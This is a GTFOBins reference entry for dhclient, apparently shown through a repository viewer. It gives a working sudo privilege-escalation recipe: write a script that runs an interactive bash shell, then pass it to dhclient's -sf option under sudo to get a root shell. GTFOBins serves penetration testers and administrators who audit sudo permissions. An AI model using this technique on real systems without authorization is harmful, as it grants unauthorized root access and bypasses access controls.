GTFOBins.github.io/_gtfobins/dhclient.md
2024-08-20 15:00:01 +02:00

330 B

functions
sudo
description code
The below technique utilizies `dhclient`'s script file option (`-sf`) to execute arbitrary commands with `sudo`. cat > /tmp/script.sh << EOF #!/bin/bash bash -i EOF chmod +x /tmp/script.sh sudo dhclient -sf /tmp/script.sh